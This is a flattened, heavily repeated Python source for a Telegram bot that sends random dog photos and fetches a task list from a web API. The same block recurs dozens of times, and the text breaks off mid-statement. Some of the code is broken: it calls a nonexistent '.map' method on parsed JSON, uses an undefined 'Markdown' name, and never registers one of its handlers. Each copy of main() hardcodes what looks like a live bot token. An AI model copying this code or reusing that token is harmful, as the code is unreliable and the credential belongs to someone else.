Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = 